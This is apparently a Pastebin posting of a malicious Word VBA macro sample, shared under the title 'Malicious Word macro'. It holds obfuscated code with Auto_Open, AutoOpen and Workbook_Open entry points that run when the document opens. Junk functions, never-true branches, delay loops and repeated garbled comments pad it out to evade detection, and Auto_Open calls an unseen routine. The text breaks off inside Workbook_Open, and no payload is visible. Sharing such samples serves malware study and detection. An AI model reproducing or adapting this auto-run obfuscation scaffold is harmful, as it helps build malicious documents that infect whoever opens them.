API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Dec 9th, 2014
507
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 95.51 KB | None | 0 0
raw download clone embed print report
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Public Function udSfgcxvyHuj53() As Integer
  10. Dim eiVoGZpnXWzx49, qRJmlmFPlrCD87, FZHscHkJlotl55, LxUPoSqHTfls63 As String
  11. Dim HzsyfFyjswPh81, hEUoBhjOeRuY68, oYoJqwnBvIHd34, hqlHbgAxnHnr62 As Integer
  12. HzsyfFyjswPh81 = 1495
  13. eiVoGZpnXWzx49 = J
  14. hEUoBhjOeRuY68 = Asc(eiVoGZpnXWzx49)
  15. If HzsyfFyjswPh81 > hEUoBhjOeRuY68 Then
  16.     For oYoJqwnBvIHd34 = 1 To 94
  17.        hqlHbgAxnHnr62 = hEUoBhjOeRuY68 + oYoJqwnBvIHd34
  18.     Next oYoJqwnBvIHd34
  19. hqlHbgAxnHnr62 = hqlHbgAxnHnr62 + HzsyfFyjswPh81
  20. qRJmlmFPlrCD87 = CStr(hqlHbgAxnHnr62)
  21. FZHscHkJlotl55 = Mid$(qRJmlmFPlrCD87, 1, 4)
  22. LxUPoSqHTfls63 = LxUPoSqHTfls63 & "57"
  23. udSfgcxvyHuj53 = CInt(Mid$(LxUPoSqHTfls63, 2, 6))
  24. Else
  25. udSfgcxvyHuj53 = 94 + 1495
  26. MsgBox ("IPjqEXqygUPN75")
  27. End Function
  28.  
  29. Public Function bETZYueMGkOU84() As Integer
  30. Dim WmItFQyGHxPN65, qCvTgwsqdTDE99, gJheakrpvPax16, dcLbtlNPtKkn35 As String
  31. Dim NlvLmYIFnCLL13, TzJqzallktvc92, SYaokMmHldig16, gShDuklqBhtw66 As Integer
  32. NlvLmYIFnCLL13 = 6872
  33. WmItFQyGHxPN65 = m
  34. TzJqzallktvc92 = Asc(WmItFQyGHxPN65)
  35. If NlvLmYIFnCLL13 > TzJqzallktvc92 Then
  36.     For SYaokMmHldig16 = 1 To 77
  37.        gShDuklqBhtw66 = TzJqzallktvc92 + SYaokMmHldig16
  38.     Next SYaokMmHldig16
  39. gShDuklqBhtw66 = gShDuklqBhtw66 + NlvLmYIFnCLL13
  40. qCvTgwsqdTDE99 = CStr(gShDuklqBhtw66)
  41. gJheakrpvPax16 = Mid$(qCvTgwsqdTDE99, 1, 4)
  42. dcLbtlNPtKkn35 = dcLbtlNPtKkn35 & "28"
  43. bETZYueMGkOU84 = CInt(Mid$(dcLbtlNPtKkn35, 2, 6))
  44. Else
  45. bETZYueMGkOU84 = 77 + 6872
  46. MsgBox ("LWfqBDkhVpte29")
  47. End Function
  48.  
  49. Public Function pUAIUwudHmNA87() As Integer
  50. Dim FTnbQKPlJbii56, RtiULzyUcIjV63, HyWlAHvLOSDr82, gUjxdkOsnWpm35 As String
  51. Dim WhOFWQwHkzFB35, hgzeFjMBVuEK63, RBojBzwIBfwC98, lYuqKddqqmlf17 As Integer
  52. WhOFWQwHkzFB35 = 8858
  53. FTnbQKPlJbii56 = s
  54. hgzeFjMBVuEK63 = Asc(FTnbQKPlJbii56)
  55. If WhOFWQwHkzFB35 > hgzeFjMBVuEK63 Then
  56.     For RBojBzwIBfwC98 = 1 To 69
  57.        lYuqKddqqmlf17 = hgzeFjMBVuEK63 + RBojBzwIBfwC98
  58.     Next RBojBzwIBfwC98
  59. lYuqKddqqmlf17 = lYuqKddqqmlf17 + WhOFWQwHkzFB35
  60. RtiULzyUcIjV63 = CStr(lYuqKddqqmlf17)
  61. HyWlAHvLOSDr82 = Mid$(RtiULzyUcIjV63, 1, 4)
  62. gUjxdkOsnWpm35 = gUjxdkOsnWpm35 & "52"
  63. pUAIUwudHmNA87 = CInt(Mid$(gUjxdkOsnWpm35, 2, 6))
  64. Else
  65. pUAIUwudHmNA87 = 69 + 8858
  66. MsgBox ("erjPkZuGFdhP49")
  67. End Function
  68.  
  69. Public Function jfAligpEwlEQ12() As Integer
  70. Dim milJMqzZUbJR29, lFXfVdVzfYiI48, yPAUfnYuOQOa26, QlMBWMkQnLfT81 As String
  71. Dim KCrCqDloZaVx29, uUpqwvWKEiHn89, pPkmLwoylsLM64, ucsRIvnLTlBb84 As Integer
  72. KCrCqDloZaVx29 = 1658
  73. milJMqzZUbJR29 = K
  74. uUpqwvWKEiHn89 = Asc(milJMqzZUbJR29)
  75. If KCrCqDloZaVx29 > uUpqwvWKEiHn89 Then
  76.     For pPkmLwoylsLM64 = 1 To 34
  77.        ucsRIvnLTlBb84 = uUpqwvWKEiHn89 + pPkmLwoylsLM64
  78.     Next pPkmLwoylsLM64
  79. ucsRIvnLTlBb84 = ucsRIvnLTlBb84 + KCrCqDloZaVx29
  80. lFXfVdVzfYiI48 = CStr(ucsRIvnLTlBb84)
  81. yPAUfnYuOQOa26 = Mid$(lFXfVdVzfYiI48, 1, 4)
  82. QlMBWMkQnLfT81 = QlMBWMkQnLfT81 & "96"
  83. jfAligpEwlEQ12 = CInt(Mid$(QlMBWMkQnLfT81, 2, 6))
  84. Else
  85. jfAligpEwlEQ12 = 34 + 1658
  86. MsgBox ("zEwyXEIMmdQY76")
  87. End Function
  88.  
  89.  
  90. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  91. Sub Auto_Open()
  92. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  93. If 584122 = 584122 + 1 Then End
  94. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  95. If 3324 < 88 Then
  96. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  97. Dim nEXDgRqy As Integer
  98. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  99. For nEXDgRqy = 0 To 1
  100. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  101. Dim yaGbefeX As Integer
  102. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  103. For yaGbefeX = 0 To 6
  104. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  105. DoEvents
  106. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  107. Next yaGbefeX
  108. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  109. DoEvents
  110. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  111. Next nEXDgRqy
  112. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  113. Dim pEKfXpHy As Integer
  114. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  115. For pEKfXpHy = 0 To 7
  116. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  117. DoEvents
  118. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  119. Next pEKfXpHy
  120. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  121.        MsgBox ("XKOLakoD41")
  122. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  123. End If
  124. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  125. If Len("YKylDIdE6587") = Len("iwOTXuSp") Then
  126. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  127. Dim DrRrkked As Integer
  128. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  129. For DrRrkked = 0 To 6
  130. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  131. Dim PbYySYGu As Integer
  132. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  133. For PbYySYGu = 0 To 6
  134. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  135. DoEvents
  136. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  137. Next PbYySYGu
  138. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  139. DoEvents
  140. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  141. Next DrRrkked
  142. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  143. Dim FzOMREZj As Integer
  144. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  145. For FzOMREZj = 0 To 6
  146. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  147. DoEvents
  148. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  149. Next FzOMREZj
  150. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  151.       MsgBox ("Error !!!")
  152. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  153. End If
  154. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  155. Dim PvKzslCn As Integer
  156. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  157. For PvKzslCn = 0 To 6
  158. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  159. Dim AEJhSGSz As Integer
  160. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  161. For AEJhSGSz = 0 To 6
  162. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  163. DoEvents
  164. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  165. Next AEJhSGSz
  166. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  167. DoEvents
  168. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  169. Next PvKzslCn
  170. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  171. Dim pZXVzypE As Integer
  172. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  173. For pZXVzypE = 0 To 3
  174. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  175. DoEvents
  176. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  177. Next pZXVzypE
  178. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  179. DRBDBIEYZQO
  180. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  181.  
  182. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  183. End Sub
  184. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  185. Sub AutoOpen()
  186. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  187. If 491375 = 491375 + 1 Then End
  188. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  189. If 5554 < 73 Then
  190. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  191. Dim nZessZMw As Integer
  192. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  193. For nZessZMw = 0 To 6
  194. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  195. Dim xiupQNII As Integer
  196. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  197. For xiupQNII = 0 To 3
  198. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  199. DoEvents
  200. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  201. Next xiupQNII
  202. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  203. DoEvents
  204. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  205. Next nZessZMw
  206. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  207. Dim lZmiTzEW As Integer
  208. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  209. For lZmiTzEW = 0 To 3
  210. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  211. DoEvents
  212. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  213. Next lZmiTzEW
  214. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  215.        MsgBox ("pFgxYtFJ94")
  216. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  217. End If
  218. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  219. If Len("JrlwGcPp8727") = Len("ScJNIEVx") Then
  220. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  221. Dim lbDxSOxW As Integer
  222. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  223. For lbDxSOxW = 0 To 8
  224. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  225. Dim kIJlfaUb As Integer
  226. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  227. For kIJlfaUb = 0 To 8
  228. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  229. DoEvents
  230. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  231. Next kIJlfaUb
  232. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  233. DoEvents
  234. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  235. Next lbDxSOxW
  236. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  237. Dim iGQJZsCC As Integer
  238. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  239. For iGQJZsCC = 0 To 6
  240. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  241. DoEvents
  242. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  243. Next iGQJZsCC
  244. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  245.       MsgBox ("Error !!!")
  246. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  247. End If
  248. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  249. Dim oYUMaMQl As Integer
  250. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  251. For oYUMaMQl = 0 To 7
  252. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  253. Dim aEdFhhSv As Integer
  254. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  255. For aEdFhhSv = 0 To 5
  256. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  257. DoEvents
  258. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  259. Next aEdFhhSv
  260. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  261. DoEvents
  262. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  263. Next oYUMaMQl
  264. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  265. Dim xiiyaMSg As Integer
  266. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  267. For xiiyaMSg = 0 To 9
  268. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  269. DoEvents
  270. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  271. Next xiiyaMSg
  272. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  273.    Auto_Open
  274. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  275.  
  276. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  277. End Sub
  278. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  279. Sub Workbook_Open()
  280. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  281. If 958469 = 958469 + 1 Then End
  282. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  283. If 3274 < 97 Then
  284. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  285. Dim yCqTYMfr As Integer
  286. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  287. For yCqTYMfr = 0 To 6
  288. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  289. Dim ecHvXpSn As Integer
  290. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  291. For ecHvXpSn = 0 To 5
  292. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  293. DoEvents
  294. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  295. Next ecHvXpSn
  296. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  297. DoEvents
  298. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  299. Next yCqTYMfr
  300. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  301. Dim pYZnrzgT As Integer
  302. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  303. For pYZnrzgT = 0 To 7
  304. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  305. DoEvents
  306. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  307. Next pYZnrzgT
  308. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  309.        MsgBox ("jZtqdVZB12")
  310. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  311. End If
  312. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  313. If Len("USYkfUKi4124") = Len("ojpTxykF") Then
  314. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
